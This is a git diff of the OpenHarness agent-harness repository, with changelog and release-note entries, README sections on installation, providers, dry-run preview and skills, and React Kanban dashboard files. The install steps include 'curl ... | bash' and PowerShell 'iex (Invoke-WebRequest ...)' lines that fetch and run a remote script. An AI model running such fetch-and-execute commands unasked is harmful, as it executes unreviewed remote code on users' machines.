- Telegram channel now delivers replies again under `ohmo init --no-interactive` and other configs that do not write a `reply_to_message` field. `TelegramConfig` declares `reply_to_message: bool = True` so the attribute access in `TelegramChannel.send` no longer raises `AttributeError` and outbound progress/tool-hint/final messages are sent as expected. See issue #243.
## [0.1.9] - 2026-05-07
### Added
- Added a bundled `skill-creator` skill for creating, improving, and verifying OpenHarness/ohmo skills.
- User-invocable skills can now be triggered directly as slash commands, with support for skill-specific arguments and model override metadata.
### Fixed
- `oh setup` can now update the API key for an already-configured API-key provider profile instead of only changing the model.
- `oh provider edit <profile> --api-key <key>` can now replace a saved profile API key, and `oh provider add ... --api-key <key>` can store one during profile creation.
## [0.1.8] - 2026-05-06
### Added
- Built-in `nvidia` provider profile so `oh setup` offers NVIDIA NIM as a first-class OpenAI-compatible provider choice, with `NVIDIA_API_KEY` auth source, `openai/gpt-oss-120b` as the default model, and the NVIDIA NIM endpoint.
- Built-in `qwen` provider profile so `oh setup` offers Qwen (DashScope) as a first-class provider choice, with `dashscope_api_key` auth source, `qwen-plus` as the default model, and the DashScope OpenAI-compatible endpoint.
- Plugin tool discovery: plugins can now provide `BaseTool` subclasses in a `<plugin>/tools/` directory and they are auto-discovered, instantiated, and registered in the tool registry at runtime. Add `tools_dir` to `plugin.json` (defaults to `"tools"`).
- `oh --dry-run` safe preview mode for inspecting resolved runtime settings, auth state, prompt assembly, commands, skills, tools, and configured MCP servers without executing the model or tools.
- Built-in `minimax` provider profile so `oh setup` offers MiniMax as a first-class provider choice, with `MINIMAX_API_KEY` auth source, `MiniMax-M2.7` as the default model, and `MiniMax-M2.7-highspeed` in the model picker.
- Docker as an alternative sandbox backend (`sandbox.backend = "docker"`) for stronger execution isolation with configurable resource limits, network isolation, and automatic image management.
- Built-in `gemini` provider profile so `oh setup` offers Google Gemini as a first-class provider choice, with `gemini_api_key` auth source and `gemini-2.5-flash` as the default model.
- `diagnose` skill: trace agent run failures and regressions using structured evidence from run artifacts.
- OpenAI-compatible API client (`--api-format openai`) supporting any provider that implements the OpenAI `/v1/chat/completions` format, including Alibaba DashScope, DeepSeek, GitHub Models, Groq, Together AI, Ollama, and more.
- `OPENHARNESS_API_FORMAT` environment variable for selecting the API format.
@@ -17,9 +48,25 @@ The format is based on Keep a Changelog, and this project currently tracks chang
- `docs/SHOWCASE.md` with concrete OpenHarness usage patterns and demo commands.
- GitHub issue templates and a pull request template.
- React TUI assistant messages now render structured Markdown blocks, including headings, lists, code fences, blockquotes, links, and tables.
- Built-in `codex` output style for compact, low-noise transcript rendering in React TUI.
### Fixed
- Subprocess teammate spawn (`agent` tool, `task_create`) now works on Windows under Git Bash. `subprocess_backend.spawn` builds a direct-exec `argv` list and passes it through new `argv=` and `env=` kwargs on `BackgroundTaskManager.create_agent_task` / `create_shell_task`; `_start_process` then runs the executable via `asyncio.create_subprocess_exec(*argv)` with no shell in between. Previously the spawn command was a single string interpreted by `bash -lc`, which on Windows could not reliably exec a Windows-pathed Python interpreter (e.g. `C:\Users\...\python.exe`) — Git Bash's escape parser consumed the backslashes from the embedded env-prefix and, even with proper quoting, bash launched via `asyncio.create_subprocess_exec` returned `command not found` for Windows-pathed binaries that worked perfectly when invoked interactively. Bypassing the shell sidesteps the entire class of cross-platform quoting and path-translation hazard. The legacy shell-evaluated `command=` path is preserved for callers (e.g. `BashTool`) that legitimately want shell semantics. See issue #230.
- Bundled skill loader now uses `yaml.safe_load` for SKILL.md frontmatter, matching the user-skill loader. The shared parser is extracted to `openharness.skills._frontmatter` so bundled and user skills handle YAML block scalars (`>`, `|`), quoted values, and other standard YAML constructs the same way.
- Compaction now detects llama.cpp/OpenAI-compatible context overflow errors, accounts for image blocks in auto-compact token estimates, and strips image payloads from summarizer-only compaction requests.
- Large tool results are now bounded in conversation history: oversized outputs are saved under `tool_artifacts`, old MCP results become microcompactable, and context collapse trims stale tool-result payloads.
- ohmo now keeps personal memory isolated from OpenHarness project memory: `/memory` in ohmo sessions targets the ohmo workspace memory store, and ohmo runtime prompt refreshes no longer inject project memory unless explicitly requested.
- Fixed `glob` and `grep` tools hanging indefinitely when the `rg` subprocess produced enough stderr output to fill the OS pipe buffer. `stderr` is now redirected to `DEVNULL` so it is discarded rather than blocking the child process.
- Fixed `bash_tool` hanging after a timed-out command when the subprocess stdout stream stayed open. `_read_remaining_output` now applies a 2-second `asyncio.wait_for` timeout so the tool always returns promptly.
- Fixed `session_runner` background task deadlock caused by an unread `stderr=PIPE` stream. The subprocess now uses `stderr=STDOUT` so all output merges into the single readable stdout pipe.
- React TUI prompt input now treats the raw DEL byte (`0x7f`) as backward delete while preserving true forward-delete escape sequences, fixing backspace failures seen in some macOS terminal environments.
- `todo_write` tool now updates an existing unchecked item in-place when `checked=True` instead of appending a duplicate `[x]` line.
- Built-in `Explore` and `claude-code-guide` agents no longer hard-code `model="haiku"`, which caused them to fail for users on non-Anthropic providers (OpenAI, Bedrock, custom base URLs, etc.). Both agents now use `model="inherit"` so they run with whatever model the parent session is using. `build_inherited_cli_flags` is also fixed to skip the `--model` flag entirely when the value is `"inherit"`, letting the subprocess correctly inherit the parent model via the `OPENHARNESS_MODEL` environment variable instead of receiving the literal string `"inherit"` as a model name.
- React TUI spinner now stays visible throughout the entire agent turn: `assistant_complete` no longer resets `busy` state prematurely, and `tool_started` explicitly sets `busy=true` so the status bar remains active even when tool calls follow an assistant message. `line_complete` is the sole signal that ends the turn and clears the spinner.
- Skill loader now uses `yaml.safe_load` to parse SKILL.md frontmatter, correctly handling YAML block scalars (`>`, `|`), quoted values, and other standard YAML constructs instead of naive line-by-line splitting.
- `BackendHostConfig` was missing the `cwd` field, causing `AttributeError: 'BackendHostConfig' object has no attribute 'cwd'` on startup when `oh` was run after the runtime refactor that added `cwd` support to `build_runtime`.
- Shell-escape `$ARGUMENTS` substitution in command hooks to prevent shell injection from payload values containing metacharacters like `$(...)` or backticks.
- Swarm `_READ_ONLY_TOOLS` now uses actual registered tool names (snake_case) instead of PascalCase, fixing read-only auto-approval in `handle_permission_request`.
@@ -29,13 +76,27 @@ The format is based on Keep a Changelog, and this project currently tracks chang
- Fixed duplicate response in React TUI caused by double Enter key submission in the input handler.
- Fixed concurrent permission modals overwriting each other in TUI default mode when the LLM returns multiple tool calls in one response; `_ask_permission` now serialises callers via an `asyncio.Lock` so each modal is shown and resolved before the next one is emitted.
- Fixed React TUI Markdown tables to size columns from rendered cell text so inline formatting like code spans and bold text no longer breaks alignment.
- Fixed grep tool crashing with `ValueError` / `LimitOverrunError` when ripgrep outputs a line longer than 64 KB (e.g. minified assets or lock files). The asyncio subprocess stream limit is now 8 MB and oversized lines are skipped rather than terminating the session.
- Fixed React TUI exit leaving the shell prompt concatenated with the last TUI line. The terminal cleanup handler now writes a trailing newline (`\n`) alongside the cursor-show escape sequence so the shell prompt always starts on a fresh line.
- Reduced React TUI redraw pressure when `output_style=codex` by avoiding token-level assistant buffer flushes during streaming.
### Changed
- ohmo Feishu group routing now supports managed group creation, gateway-scoped provider/model commands, and stricter group mention handling so group conversations only wake ohmo when explicitly addressed.
- Dry-run output now reports a `ready` / `warning` / `blocked` readiness verdict, concrete `next_actions`, likely matching skills/tools for normal prompts, and richer slash-command previews for read-only vs stateful command paths.
- React TUI now groups consecutive `tool` + `tool_result` transcript rows into a single compound row: success shows the result line count inline (e.g. `→ 24L`), errors show a red icon and up to 5 lines of error detail beneath the tool row. Standalone successful tool results are suppressed to reduce transcript noise; standalone errors are still surfaced.
- README now links to contribution docs, changelog, showcase material, and provider compatibility guidance.
- README quick start now includes a one-command demo and clearer provider compatibility notes.
- README provider compatibility section updated to include OpenAI-format providers.
## [0.1.7] - 2026-04-18
### Fixed
- Install script now links `oh`, `ohmo`, and `openharness` into `~/.local/bin` instead of prepending the virtualenv `bin` directory to `PATH`, which avoids overriding Conda-managed shells while preserving global command discovery.
- React TUI prompt now supports `Shift+Enter` for inserting a newline without submitting the current prompt.
- React TUI busy-state animation is less error-prone on Windows terminals: the extra pseudo-animation line was removed, Windows now uses conservative ASCII spinner frames, and the spinner interval was slightly slowed to reduce flashing.
## [0.1.0] - 2026-04-01
### Added
+154 -3
View File
@@ -153,6 +153,14 @@ OpenHarness is an open-source Python implementation designed for **researchers,
## 📰 What's New
- **Unreleased** 🔍 **Dry-run safe preview**:
- `oh --dry-run` previews resolved runtime settings, auth state, skills, commands, tools, and configured MCP servers without executing the model, tools, or subagents.
- Dry-run now reports a `ready` / `warning` / `blocked` readiness verdict with concrete next-step suggestions such as fixing auth, fixing MCP config, or running the prompt directly.
- Prompt previews include likely matching skills and tools, while slash-command previews show whether the command is mostly read-only or stateful.
- **2026-04-18** ⚙️ **v0.1.7** — Packaging & TUI polish:
- Install script now links `oh`, `ohmo`, and `openharness` into `~/.local/bin` instead of prepending the virtualenv `bin` directory to `PATH`, which avoids clobbering Conda-managed shells.
- React TUI now supports `Shift+Enter` to insert a newline while keeping plain `Enter` as submit.
- Busy-state animation in the React TUI is quieter and less error-prone on Windows terminals, with conservative spinner frames and reduced flashing.
- **2026-04-10** 🧠 **v0.1.6** — Auto-Compaction & Markdown TUI:
- Auto-Compaction preserves task state and channel logs across context compression — agents can run multi-day sessions without manual compact/clear
- Subprocess teammates run in headless worker mode; agent team creation stabilized
@@ -190,26 +198,42 @@ OpenHarness is an open-source Python implementation designed for **researchers,
### 1. Install
#### Linux / macOS / WSL
```bash
# One-click install (Linux / macOS / WSL)
# One-click install
curl -fsSL https://raw.githubusercontent.com/HKUDS/OpenHarness/main/scripts/install.sh | bash
# Or via pip
pip install openharness-ai
```
#### Windows (Native)
```powershell
# One-click install (PowerShell)
iex (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/HKUDS/OpenHarness/main/scripts/install.ps1')
# Or via pip
pip install openharness-ai
```
**Note**: Windows support is now native. In PowerShell, use `openh` instead of `oh` because `oh` can resolve to the built-in `Out-Host` alias.
### 2. Configure
```bash
oh setup # interactive wizard — pick a provider, authenticate, done
# On Windows PowerShell, use: openh setup
```
Supports **Claude / OpenAI / Copilot / Codex / Moonshot(Kimi) / GLM / MiniMax** and any compatible endpoint.
Supports **Claude / OpenAI / Copilot / Codex / Moonshot(Kimi) / GLM / MiniMax / NVIDIA NIM** and any compatible endpoint.
### 3. Run
```bash
oh
# On Windows PowerShell, use: openh
```
<p align="center">
@@ -241,6 +265,43 @@ oh -p "List all functions in main.py" --output-format json
oh -p "Fix the bug" --output-format stream-json
```
### Dry Run (Safe Preview)
Use `--dry-run` when you want to inspect what OpenHarness would use before any live execution starts.
```bash
# Preview an interactive session setup
oh --dry-run
# Preview one prompt without executing the model or tools
oh --dry-run -p "Review this bug fix and grep for failing tests"
# Preview a slash command path
oh --dry-run -p "/plugin list"
# Get structured output for scripts or channels
oh --dry-run -p "Explain this repository" --output-format json
```
Dry-run is intentionally static:
- It does **not** call the model
- It does **not** execute tools or spawn subagents
- It does **not** connect to MCP servers
- It **does** resolve settings, auth status, prompt assembly, skills, commands, tools, and obvious MCP config problems
Readiness levels:
- `ready`: configuration looks usable; the next suggested action is usually to run the prompt directly
- `warning`: OpenHarness can resolve the session, but something important still looks wrong, such as broken MCP config or missing auth for later model work
- `blocked`: the requested path will not run successfully as-is, for example an unknown slash command or a prompt that cannot resolve a runtime client
`next actions` in the dry-run output tell you the shortest fix or follow-up step, such as:
- run `oh auth login`
- fix or disable broken MCP configuration
- run the prompt directly with `oh -p "..."` or open the interactive UI with `oh`
## 🔌 Provider Compatibility
OpenHarness treats providers as **workflows** backed by named profiles. In day-to-day use, prefer:
@@ -286,6 +347,8 @@ Any provider implementing the OpenAI `/v1/chat/completions` style API works:
| **DeepSeek** | `https://api.deepseek.com` | `deepseek-chat`, `deepseek-reasoner` |
| **GitHub Models** | `https://models.inference.ai.azure.com` | `gpt-4o`, `Meta-Llama-3.1-405B-Instruct` |
| **SiliconFlow** | `https://api.siliconflow.cn/v1` | `deepseek-ai/DeepSeek-V3` |
| **NVIDIA NIM** | `https://integrate.api.nvidia.com/v1` | `openai/gpt-oss-120b`, `nvidia/llama-3.3-nemotron-super-49b-v1` |
| **Google Gemini** | `https://generativelanguage.googleapis.com/v1beta/openai` | `gemini-2.5-flash`, `gemini-2.5-pro` |
| **Groq** | `https://api.groq.com/openai/v1` | `llama-3.3-70b-versatile` |
| **Ollama (local)** | `http://localhost:11434/v1` | any local model |
@@ -310,6 +373,44 @@ oh provider add my-endpoint \
For custom compatible endpoints, OpenHarness can bind credentials per profile instead of forcing every Anthropic-compatible or OpenAI-compatible backend to share the same API key.
### Ollama (Local Models)
Run local models through Ollama's OpenAI-compatible endpoint:
```bash
# Add an Ollama provider profile
oh provider add ollama \
--label "Ollama" \
--provider Ollama \
--api-format openai \
--auth-source openai_api_key \
--model glm-4.7-flash:q8_0 \
--base-url http://localhost:11434/v1
```
```
Saved provider profile: ollama
```
```bash
# Activate and verify
oh provider use ollama
```
```
Activated provider profile: ollama
```
```bash
oh provider list
```
```
claude-api: Anthropic-Compatible API [ready]
...
moonshot: Moonshot (Kimi) [missing auth]
auth=moonshot_api_key model=kimi-k2.5 base_url=https://api.moonshot.cn/v1
* ollama: Ollama [ready]
auth=openai_api_key model=glm-4.7-flash:q8_0 base_url=http://localhost:11434/v1
```
### GitHub Copilot Format (`--api-format copilot`)
Use your existing GitHub Copilot subscription as the LLM backend. Authentication uses GitHub's OAuth device flow — no API keys needed.
@@ -440,7 +541,47 @@ Available Skills:
- ... 40+ more
```
**Compatible with [anthropics/skills](https://github.com/anthropics/skills)** — just copy `.md` files to `~/.openharness/skills/`.
Skills can live in bundled, user, ohmo, project, or plugin locations. User-level skills are loaded from:
```text
~/.openharness/skills/<skill>/SKILL.md
~/.claude/skills/<skill>/SKILL.md
~/.agents/skills/<skill>/SKILL.md
```
Project-level skills are enabled by default and are discovered from the current working directory up to the git root:
```text
<project>/.openharness/skills/<skill>/SKILL.md
<project>/.agents/skills/<skill>/SKILL.md
<project>/.claude/skills/<skill>/SKILL.md
```
Disable project skills for untrusted repositories with:
```bash
oh config set allow_project_skills false
```
Use `/skills` to list loaded skills with their source and path. User-invocable skills can be run directly as slash commands, for example `/deploy staging`.
**Compatible with [anthropics/skills](https://github.com/anthropics/skills)** — use the `SKILL.md` directory layout above.
### 🌐 Web search and proxy settings
Built-in `web_search` uses DuckDuckGo HTML search by default. In regions where that endpoint is unreachable, point OpenHarness at a trusted public HTML search endpoint or your own SearXNG instance:
```bash
export OPENHARNESS_WEB_SEARCH_URL="https://your-searxng.example/search"
```
`web_search` and `web_fetch` keep `trust_env=False` for SSRF safety, so they do not automatically inherit `HTTP_PROXY` / `HTTPS_PROXY`. If you need a proxy, opt in with an OpenHarness-specific variable:
```bash
export OPENHARNESS_WEB_PROXY="http://127.0.0.1:7890"
```
The proxy URL must be HTTP/HTTPS and cannot contain embedded credentials.
### 🔌 Plugin System
@@ -698,6 +839,16 @@ Useful contributor entry points:
---
## 🔧 Troubleshooting
### Backspace key in macOS Terminal.app
OpenHarness handles both common terminal delete sequences, including the raw `DEL` byte (`0x7f`) that macOS Terminal.app sends for Backspace. If Backspace inserts spaces or visible control characters instead of deleting text, upgrade OpenHarness first.
For older versions that do not include this fix, use a terminal that sends a standard Backspace sequence or adjust your terminal keyboard profile as a temporary workaround.
---
## 📄 License
MIT — see [LICENSE](LICENSE).
+45
View File
@@ -20,6 +20,12 @@
## 最新更新
### Unreleased · Dry-run 安全预览
- 新增 `oh --dry-run`,可以在**不执行模型、不执行工具、不 spawn subagent** 的前提下,预览当前会话会使用的配置、skills、commands、tools 和 MCP 配置。
- Dry-run 会给出 `ready / warning / blocked` 结论,并直接告诉你下一步该做什么,例如先修认证、先修 MCP 配置,或者可以直接运行。
- 对普通 prompt,会给出可能命中的 skills / tools;对 slash command,会展示它更偏只读还是会改本地状态。
### 2026-04-06 · v0.1.2
- 新增统一配置入口 `oh setup`
@@ -104,6 +110,7 @@ oh setup
- DeepSeek
- GitHub Models
- SiliconFlow
- Google Gemini
- Groq
- Ollama
- 其他 OpenAI-compatible endpoint
@@ -168,6 +175,44 @@ oh -p "List all functions in main.py" --output-format json
oh -p "Fix the bug" --output-format stream-json
```
### Dry-run 安全预览
如果你想先看 OpenHarness **会怎么跑**,但又不想真的执行模型或工具,可以用:
```bash
# 预览交互会话本身
oh --dry-run
# 预览一个普通 prompt
oh --dry-run -p "Review this bug fix and grep for failing tests"
# 预览 slash command
oh --dry-run -p "/plugin list"
# 输出结构化 JSON,方便脚本或 channel 使用
oh --dry-run -p "Explain this repository" --output-format json
```
Dry-run 的边界是明确的:
- **不会**调用模型
- **不会**执行 tools
- **不会**启动 subagent
- **不会**连接 MCP server
- **会**解析 settings、auth 状态、system prompt、skills、commands、tools,以及明显错误的 MCP 配置
Readiness 结论说明:
- `ready`:当前配置基本可直接运行
- `warning`:能解析会话,但仍有重要问题需要先处理,比如 MCP 配置错误或后续模型调用缺认证
- `blocked`:按当前状态直接运行会失败,比如 slash command 不存在,或者普通 prompt 无法解析 runtime client
Dry-run 输出里的 `next actions` 会直接给出下一步建议,例如:
- 先执行 `oh auth login`
- 先修或禁用坏掉的 MCP 配置
- 直接运行 `oh -p "..."` 或进入 `oh`
---
## Provider 兼容性概览
+66
View File
@@ -0,0 +1,66 @@
# v0.1.8 — Providers, ohmo Feishu Groups, and Safer Remotes
OpenHarness v0.1.8 is a stabilization and provider-expansion release. It adds more first-class provider workflows, improves ohmo's Feishu group experience, hardens remote-channel security, and fixes several Windows/MCP reliability issues.
## Highlights
- **New provider workflows**
- Added NVIDIA NIM as a built-in OpenAI-compatible provider using `NVIDIA_API_KEY`.
- Added ModelScope Inference API support.
- Added Qwen (DashScope), MiniMax, and Gemini provider profiles.
- Improved OpenAI-compatible API behavior, including explicit bearer authorization headers and `<think>` block filtering for compatible streaming responses.
- **ohmo Feishu group support**
- Added Feishu managed group creation flow for ohmo.
- Added gateway-scoped provider/model commands for chat-based operation.
- Improved group routing and mention policy so ohmo responds in shared Feishu groups only when explicitly addressed.
- Hardened Feishu attachment filename handling.
- **Security and remote-channel hardening**
- Kept sensitive config/auth/provider/model/ship commands local-only by default in remote channels.
- Kept bridge commands local-only by default.
- Added coverage for bridge spawn blocking and remote gateway security behavior.
- Rejected path traversal names during plugin uninstall.
- **Windows and shell reliability**
- Fixed Windows agent/subagent spawning by direct-executing teammate argv instead of shell-wrapping Python paths.
- Windows shell resolution now skips discovered `bash.exe` binaries that cannot actually run commands, falling back to PowerShell/cmd.
- Improved Windows gateway process lifecycle handling.
- Avoided shell execution when opening browsers on Windows.
- **MCP, tools, and stability**
- MCP startup now isolates failed servers instead of aborting the whole OpenHarness startup.
- Fixed subprocess stderr pipe deadlocks in grep/glob/bash/session runner paths.
- Bounded large tool results in conversation history and improved compaction under large/vision contexts.
- Improved skill frontmatter parsing with YAML `safe_load` for bundled and user skills.
- **TUI and UX fixes**
- Restored raw `DEL` backspace handling for macOS Terminal-style environments.
- Added better slash-command completion, markdown table rendering, spinner behavior, and escape interruption.
- Added image-to-text fallback support for text-only models and `--vision-model` override.
## External contributors
Thanks to the external contributors whose PRs are included in this release:
- @Litianhui888 — MCP startup isolation (#237)
- @Hinotoi-agent — remote command security hardening (#232, #209, #208, #198, #197)
- @nsxdavid — Windows agent spawn fix (#231)
- @voidborne-d — bundled skill frontmatter parsing (#229)
- @Mcy0618 — image-to-text fallback and ModelScope support (#227, #224)
- @WANG-Guangxin — invalid regex fallback fix (#219)
- @glitch-ux — Windows browser auth safety, async coordinator draining, autopilot shell safety, hook events (#217, #200, #188, #170)
- @Escapingbug — Windows gateway lifecycle and Telegram proxy config fixes (#193, #192)
- @ZevGit — Qwen provider profile (#207)
- @yl-jiang — subprocess stderr deadlock fixes and OpenAI-compatible think-block filtering (#205, #174)
- @he-yufeng — TUI slash-command completion polish (#185)
- @powAu3 — raw DEL backspace fix (#182)
- @flobo3 — shell subprocess stdin default fix (#179)
## Install
```bash
pip install --upgrade openharness-ai==0.1.8
```
Or run the installer from the repository docs.
+32
View File
@@ -0,0 +1,32 @@
# v0.1.9 — Skill Workflows and Provider Key Updates
OpenHarness v0.1.9 is a small follow-up release after v0.1.8 focused on making skills easier to create and invoke, plus fixing provider API key updates.
## Highlights
- **Bundled skill creator**
- Added a bundled `skill-creator` skill for creating, improving, and verifying OpenHarness/ohmo skills.
- This makes repeatable workflows easier to capture as first-class skills.
- **User-invocable skill slash commands**
- Skills marked as user-invocable can now be triggered directly with slash commands.
- Slash-invoked skills support user arguments and can request a model override through skill metadata.
- **Provider API key update fix**
- `oh setup` now lets users update the API key for an already-configured API-key provider profile.
- `oh provider edit <profile> --api-key <key>` can replace a saved profile key directly.
- `oh provider add ... --api-key <key>` can store a key while creating a provider profile.
## Fixes
- Fixed issue #238, where users could change a configured provider model but had no supported path to update the saved API key.
## Install
```bash
pip install --upgrade openharness-ai==0.1.9
```
## Contributors
This release is primarily a maintainer follow-up release. Thanks to the users and contributors who reported and validated the provider key update workflow, especially the reporter of #238.
+2
View File
@@ -0,0 +1,2 @@
node_modules
dist
+15
View File
@@ -0,0 +1,15 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Autopilot Kanban</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&display=swap" rel="stylesheet" />
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
File diff suppressed because it is too large Load Diff
+22
View File
@@ -0,0 +1,22 @@
{
"name": "autopilot-dashboard",
"private": true,
"version": "0.1.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "tsc -b && vite build",
"preview": "vite preview"
},
"dependencies": {
"react": "^19.1.0",
"react-dom": "^19.1.0"
},
"devDependencies": {
"@types/react": "^19.1.2",
"@types/react-dom": "^19.1.2",
"@vitejs/plugin-react": "^4.4.1",
"typescript": "~5.8.3",
"vite": "^6.3.2"
}
}
+59
View File
@@ -0,0 +1,59 @@
{
"generated_at": 1776338766.0050209,
"repo_name": "OpenHarness-new",
"repo_path": "/home/tangjiabin/OpenHarness-new",
"focus": null,
"counts": {
"queued": 0,
"accepted": 0,
"preparing": 0,
"running": 0,
"verifying": 0,
"pr_open": 0,
"waiting_ci": 0,
"repairing": 0,
"completed": 0,
"merged": 0,
"failed": 0,
"rejected": 0,
"superseded": 0
},
"status_order": [
"queued",
"accepted",
"preparing",
"running",
"verifying",
"pr_open",
"waiting_ci",
"repairing",
"completed",
"merged",
"failed",
"rejected",
"superseded"
],
"columns": {
"queued": [],
"accepted": [],
"preparing": [],
"running": [],
"verifying": [],
"pr_open": [],
"waiting_ci": [],
"repairing": [],
"completed": [],
"merged": [],
"failed": [],
"rejected": [],
"superseded": []
},
"cards": [],
"journal": [],
"policies": {
"autopilot": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/autopilot_policy.yaml",
"verification": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/verification_policy.yaml",
"release": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/release_policy.yaml"
},
"active_context": "# Active Repo Context\n\nGenerated at: 2026-04-16 11:05:49 UTC\n\n## Current Task Focus\n- No active repo task focus yet.\n\n## In Progress\n- None.\n\n## Next Up\n- No queued items.\n\n## Recently Completed\n- None yet.\n\n## Recent Failures\n- None.\n\n## Recent Repo Journal\n- Journal is empty.\n\n## Policies\n- Autopilot: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/autopilot_policy.yaml\n- Verification: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/verification_policy.yaml\n- Release: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/release_policy.yaml"
}
+290
View File
@@ -0,0 +1,290 @@
import { useEffect, useState } from "react";
import { HeroBackground } from "./components/HeroBackground";
import { PipelineAnimation } from "./components/PipelineAnimation";
import type { Snapshot, TaskCard, JournalEntry } from "./types";
import { STATUS_LABELS, STATUS_COLORS, KANBAN_GROUPS } from "./types";
/* ── Helpers ─────────────────────────────────── */
function fmtAgo(ts?: number): string {
if (!ts) return "-";
const delta = Math.max(0, Math.floor(Date.now() / 1000 - ts));
if (delta < 60) return `${delta}s ago`;
if (delta < 3600) return `${Math.floor(delta / 60)}m ago`;
if (delta < 86400) return `${Math.floor(delta / 3600)}h ago`;
return `${Math.floor(delta / 86400)}d ago`;
}
function statusBadgeClass(status: string): string {
if (["running", "completed", "merged", "preparing"].includes(status)) return "badge-teal";
if (["repairing"].includes(status)) return "badge-orange";
if (["accepted", "pr_open"].includes(status)) return "badge-violet";
if (["failed", "rejected"].includes(status)) return "badge-red";
if (["verifying", "waiting_ci"].includes(status)) return "badge-blue";
if (["superseded"].includes(status)) return "badge-amber";
return "badge-gray";
}
/* ── Card Component ──────────────────────────── */
function CardView({ card }: { card: TaskCard }) {
const labels = [...(card.labels || []), card.source_kind].filter(Boolean);
const verification = (card.metadata?.verification_steps || [])
.map((step) => `${step.status} · ${step.command}`)
.slice(0, 2)
.join(" | ");
const borderColor = STATUS_COLORS[card.status] || "#333";
return (
<article
className="card"
style={{ "--card-accent": borderColor } as React.CSSProperties}
>
<div className="card-meta">
<span>{card.id}</span>
<span className={`badge ${statusBadgeClass(card.status)}`}>
{STATUS_LABELS[card.status] || card.status}
</span>
</div>
<h3>{card.title}</h3>
{card.body && (
<p className="card-body">{card.body.slice(0, 260)}</p>
)}
{labels.length > 0 && (
<div className="card-tags">
{labels.map((tag, i) => (
<span key={i} className="tag">{tag}</span>
))}
</div>
)}
<div className="card-footer">
<div>
score {card.score} · updated {fmtAgo(card.updated_at)}
{card.source_ref ? ` · ref ${card.source_ref}` : ""}
</div>
<div>{card.metadata?.last_note || "no status note yet"}</div>
{(verification || card.metadata?.last_ci_summary || card.metadata?.last_failure_summary || card.metadata?.human_gate_pending) && (
<div>
{verification || card.metadata?.last_ci_summary || card.metadata?.last_failure_summary ||
(card.metadata?.human_gate_pending ? "verification passed; human gate pending" : "")}
</div>
)}
</div>
</article>
);
}
/* ── Grouped Column Component ────────────────── */
function GroupColumnView({ label, color, cards }: {
label: string;
color: string;
cards: TaskCard[];
}) {
return (
<section className="column">
<div className="column-header">
<div className="column-title-row">
<span className="column-dot" style={{ background: color }} />
<h2>{label}</h2>
</div>
<span className="column-count">{cards.length}</span>
</div>
<div className="cards">
{cards.length > 0
? cards.map((card) => <CardView key={card.id} card={card} />)
: <div className="empty">No cards.</div>
}
</div>
</section>
);
}
/* ── Journal Component ───────────────────────── */
function JournalView({ entries }: { entries: JournalEntry[] }) {
return (
<section className="journal">
<div className="journal-header">
<span style={{ color: "var(--accent)", fontSize: 10, letterSpacing: 2, fontWeight: 700 }}>
//
</span>
<h2>RECENT JOURNAL</h2>
</div>
<div className="journal-list">
{entries.length > 0
? entries.slice().reverse().map((entry, i) => (
<article key={i} className="journal-item">
<time>
{new Date(entry.timestamp * 1000)
.toISOString()
.replace("T", " ")
.replace(".000Z", " UTC")}
</time>
<div>
<span className="kind">{entry.kind}</span>
{entry.task_id && <span className="task-ref"> [{entry.task_id}]</span>}
</div>
<div className="summary">{entry.summary}</div>
</article>
))
: <div className="empty">Journal is empty.</div>
}
</div>
</section>
);
}
/* ── Main App ────────────────────────────────── */
export function App() {
const [snapshot, setSnapshot] = useState<Snapshot | null>(null);
const [filter, setFilter] = useState("");
const [error, setError] = useState<string | null>(null);
useEffect(() => {
fetch("./snapshot.json", { cache: "no-store" })
.then((r) => r.json())
.then(setSnapshot)
.catch((e) => setError(String(e)));
}, []);
if (error) {
return (
<div className="shell" style={{ paddingTop: 80 }}>
<div className="empty">Failed to load snapshot.json: {error}</div>
</div>
);
}
if (!snapshot) {
return (
<div className="shell" style={{ paddingTop: 80, textAlign: "center" }}>
<div style={{ color: "var(--accent)", fontSize: 12, letterSpacing: 2 }}>
LOADING SNAPSHOT...
</div>
</div>
);
}
const counts = snapshot.counts || {};
const normalizedFilter = filter.trim().toLowerCase();
// Group cards into 4 kanban columns
const groupedColumns = KANBAN_GROUPS.map((group) => {
const allCards = group.statuses.flatMap((s) => snapshot.columns?.[s] || []);
const cards = allCards.filter((card) => {
if (!normalizedFilter) return true;
const haystack = [
card.id, card.title, card.body, card.source_kind, card.source_ref,
...(card.labels || []), ...(card.score_reasons || []),
].join(" ").toLowerCase();
return haystack.includes(normalizedFilter);
});
return { ...group, cards };
});
const inProgress = (counts.preparing || 0) + (counts.running || 0) +
(counts.verifying || 0) + (counts.waiting_ci || 0) +
(counts.repairing || 0) + (counts.accepted || 0) + (counts.pr_open || 0);
const completed = (counts.completed || 0) + (counts.merged || 0);
const failed = (counts.failed || 0) + (counts.rejected || 0);
const generated = new Date((snapshot.generated_at || 0) * 1000)
.toISOString().replace("T", " ").replace(".000Z", " UTC");
return (
<>
{/* ── Hero ─────────────────────────── */}
<section className="hero">
<div className="hero-bg">
<HeroBackground />
</div>
<div className="hero-content">
<div className="hero-main">
<div className="eyebrow">// AUTOPILOT_KANBAN</div>
<h1>
OpenHarness<br />
<span className="accent">SELF-EVOLUTION</span>
</h1>
<p className="hero-sub">
Kanban for OpenHarness self-evolution.
</p>
<div className="focus-box">
<div className="focus-label">// CURRENT_FOCUS</div>
<div className="focus-text">
{snapshot.focus
? `[${snapshot.focus.status}] ${snapshot.focus.title} · score=${snapshot.focus.score} · ${snapshot.focus.source_kind}`
: "No active task focus yet."}
</div>
</div>
</div>
<div className="hero-side">
<div className="hero-timestamp">
Generated from repo state at {generated}
</div>
<div className="pipeline-viz">
<PipelineAnimation />
</div>
</div>
</div>
</section>
<div className="shell">
